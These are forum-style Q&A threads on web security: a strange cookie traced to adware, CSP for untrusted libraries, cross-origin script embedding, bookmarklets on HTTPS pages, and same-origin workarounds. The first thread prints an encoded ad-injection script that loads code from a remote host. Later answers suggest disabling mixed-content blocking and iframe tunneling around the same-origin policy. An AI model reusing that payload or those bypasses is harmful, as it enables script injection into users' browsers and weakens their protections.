Some clients send requests to our webapp with additional cookies like this:
vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; _ga=GA1.2.633227847.1500039040; _gid=GA1.2.1587477355.1500039040; _gat_ga_ua2=1; _gat_ga%28'create'%2C'UA-93290101-3'%2C'auto'%2C%22ga_ua2%22%29%3Bga%28'ga_ua2.send'%2C'pageview'%29%3B!function%28%29%7Bfunction%20e%28e%2Ct%29%7Bvar%20d%3Ddocument.createElement%28%22iframe%22%29%3Bd.src%3D%22about%3Ablank%22%2Cd.style.display%3D%22none%22%2Cdocument.body.appendChild%28d%29%2CElement.prototype.appendChild%3Dd.contentWindow.Element.prototype.appendChild%2CElement.prototype.insertBefore%3Dd.contentWindow.Element.prototype.insertBefore%3Bvar%20n%3Ddocument.createElement%28%22script%22%29%3Bn.type%3D%22text%2Fjavascript%22%2Cn.async%3D!0%2Cn.src%3D%22%2F%2Fd323drta3nak2g.cloudfront.net%2Fv1%2Ftaas%3Fid%3D%22%2Be%2B%22%26api_key%3D45918e2d6de38b8deaf7927d277e58d5%26site_id%3D%22%2Bt%2B%22%26disclosure_text%3D%26disclosure_url%3Dhttps%253A%252F%252Fyieldkit.com%252Flegal-notes%252Fterms-of-service%252F%26yk_tag%3Db%22%2C%28document.getElementsByTagName%28%22head%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28n%29%7De%28%22se.prod%26pla%3D1%26si%3D1%26%22%2C%220c4d5f3a79914d97b6011efb4471a249%22%29%2Ce%28%22deals.prod%22%2C%22d7d224892cfe47c7b50aed3bb644057f%22%29%7D%28%29%3B%2F%2F=1;
Our application does not install such cookies. We used some external JavaScript, like Google Analytics, but none of those scripts is doing this. Our site is accessible only via HTTPS, so MITM request modification is unlikely.
We use WAF, these requests are blocked and clients are unhappy.
I suppose, some malicious browser extension is trying to exploit some popular web engine vulnerability.
Has anybody encountered anything like this? Any ideas on what is doing that?
P.S. URL decoded content of that cookie is javascript, that among other contains link to http://yieldkit.com/legal-notes/terms-of-service/, but they are probably just used by scammer to monetize their attacks.
Found it. This malware does this: http://www.spyware-ru.com/udalit-r-srvtrck-com-reklamu-instruktsiya/ (article in russian) and translated with google translate.
Short summary:
There is a malware, that creates pop-up advertising windows with r.srvtrck.com site for Chrome, Firefox and IE. Also it may integrate advertising into web sites you open.
To remove it, you can use:
AdwCleaner program
Malwarebytes Anti-malware program
reset browser settings
clear *.lnk files from added site address after browser executable
AdGuard program to block advertising (I'd not recommend that, just clear your system and use AdBlock/uBlock)
It is recommended to check Windows Task Scheduler for unwanted tasks, that periodically start browser with malware site address.
Related
I created a small JavaScript application for which I reused some (quite large) JavaScript resources that I downloaded from the internet.
My application runs in the browser like other interactive web applications but works entirely offline.
However, I intend to enter some private information in the application which it shall visualize. Since I cannot ultimately trust the JavaScript pieces that I downloaded, I wonder if there is a JavaScript option to make sure that no data is downloaded and, in particular, uploaded to the web.
Note that I am aware that I can cutoff the local internet connection or perhaps change browser settings or use an application firewall, but this would not be a solution that suits my needs. You may assume that the isolation of a browser instance is save, that is no other, possibly malicious, web sites can access my offline JavaScript application or the user data I enter. If there is a secure way to (automatically) review the code of the downloaded resources (e.g. because communication is possible only via a few dedicated JavaScript commands that I can search for) that would be an acceptable solution too.
You should take a look at the Content Security Policy (CSP) (see here and here). This basically blocks every connection from your browser to any other hosts, unless explicitely allowed. Be aware that not all browsers support CSP, which leads to potential security problems.
Reviewing the library code might be difficult because there are many ways to mask such code pieces.
Find it yourself by watching your browser's network activity while your application is in action.
There are more than enough tools to do this. Also, if you know how to use netstat command line tool, it is readily shipped with windows.
Here is one cool chrome extension which watches the traffic of the current tab.
https://chrome.google.com/webstore/detail/http-trace/idladlllljmbcnfninpljlkaoklggknp
And, here is another extension which can modify the selected traffic.
https://chrome.google.com/webstore/detail/tamper-chrome-extension/hifhgpdkfodlpnlmlnmhchnkepplebkb?hl=en
You can set the filters and modify all requests/responses happening in your page.
If you want to write an extension to block requests yourself, check this answer out.
I know by default the HTML page on other domains can't access my images, videos. They can only show them. But sadly, they can still run my scripts. If my script exposes some variables to the global scope, then the internal logic may be known by others.
I have a private website that others can't visit. Only I can visit it by sending a token in the Cookie to the server. If the token isn't included in the Cookie, every request will cause a 500 server error response. This is secure because everything is on HTTPS.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
That's because the Cookies of my website on my machine will be sent to my server as 3rd-party Cookies.
How to prevent that? Can access-control-allow-origin do so?
P.S. I don't want to disable all 3rd-party cookies in browser settings. Cookie's SameSite also doesn't make sense because only Chrome support it now.
There are a number of imaginable ways to prevent other sites from using the script element to run copies of scripts from your site in their sites, but CORS isn’t one of them.
Browsers are where the same-origin policy (SOP) is enforced and browsers are what block JavaScript running in Web apps from being able to use responses from cross-origin requests.
But browsers don’t use SOP/CORS when a Web app uses the script element to embed some JavaScript. Specifically, browsers don’t check that the script is served from the other site with an Access-Control-Allow-Origin header, which is the foundation of the whole CORS protocol.
So CORS is definitely not a solution to the problem you seem to want to solve.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
But if that site embeds your script in theirs that way, it runs within their origin, not yours. It runs there as a trusted script with all the same privileges of any script they’ve written themselves.
In that scenario, the other site is the one taking a security risk—because you can at any time change your https://my-website.com/main.js script to do anything you want at their site.
That is, by embedding your script that way, the other site gives your script programmatic fully-trusted access to do anything it wants at their entire origin—gifting you an XSS opportunity.
I'm trying to make a bookmarklet to use on youtube and other video sites in order to easily get information from the video and store it elsewhere.
From today, apparently I can't do that anymore since youtube force itself on a https connection and from what I've read on chrome's console window, the bookmarklet doesn't run on a https page. Is there a workaround?
Here is the edited code:
javascript:(function(){var jsCode=document.createElement('script');jsCode.setAttribute('src','http://[mysite]/b/enter.php?i=userid&r='+Math.random());document.body.appendChild(jsCode);}());
Google Chrome (and possibly other browsers?) blocks HTTP resources from being accessed from an HTTPS document. This is to prevent "mixed content" attacks, in which insecure HTTP scripts could be intercepted by an attacker in transit over the network and altered to perform any kind of malicious activity (e.g., leak cookies or sensitive page information to a third party). Such a violation would undo any protection granted by HTTPS.
Chrome used to provide a prominent warning that an insecure resource was blocked, but now it no longer does so, and all insecure loads silently fail. The only solution available to you at this time is to use HTTPS yourself when you serve the script.
In Firefox, if you want to run a bookmarklet that references http on an https page, the way to get around this is to temporarily disable security.mixed_content.block_active_content. There are two ways to do this.
go to about:config in a new tab, search for security.mixed_content.block_active_content and then toggle the value to false. Run your bookmarklet and then toggle it back to true (since you probably want it turned on most of the time).
use an add-on / extension to toggle the block. A quick search turned up Toggle Mixed Active Content, and a quick test seemed to work well. There may be others.
Have fun and be careful. Here be dragons!
the bookmarklet doesn't run on a https page
Why not?
Try changing to a HTTPS domain yourself. Usually HTTP content is blocked when you're on a HTTPS domain.
I have created a work-around "fix" for this issue using a Greasemonkey userscript. You can now have bookmarklets on all CSP and https:// sites, plus have your bookmarklets in a nice, easily-editable library file instead of being individually squished into a bookmark.
Is there any way to send HTTP requests to non-cooperating websites with javascript? I'm aware that this is forbidden because of the same origin policy, but is there any way to do it, including experimental APIs, Java applets, Flash, browser extensions, hidden settings, special certificates etc.? It's fine if the user explicitly has to grant my page permissions to access the other site, in fact that would be very reasonable.
Background: I'm trying to do a kind of mash-up by scraping several site's html, and I would like to do it from the user's IP address and not from my server.
Just a thought - If any of those websites use JQuery - this tunneling mehod might work:
http://benv.ca/2011/3/7/subdomain-tunneling-with-jquery-and-document-domain/
Create an iframe in a page on your site, load the page from the other website into it, replace your page's jquery ajax object with the one from the iframe - and you could be good to go!
Let me know if you try it :)
i have seen this Post:
Authenticate a facebook user in a Firefox plug-in
and in the third comment someone said, that it isn't possible to load the facebook sdk into a firefox extension. But why?
The JavaScript SDK provided by Facebook relies on a script from connect.facebook.com to be inserted into a web page. However, when you are an extension you don't have a web page around to load this script - you have extension pages. These extension pages are privileged, loading the script into them would give that script permission to do things like reading files on user's disk drive (or simply format it). Doing that with a script on some remote server is a pretty big security risk even if Facebook is considered a trusted site - its servers could get hacked or the traffic might be intercepted and modified. An attacker could then essentially take over user's computer.
Getting an unprivileged context for the Facebook SDK is theoretically possible. Practically however this is complicated enough that I doubt anybody has done it (it's further complicated by the fact the App IDs are bound to a specific host name).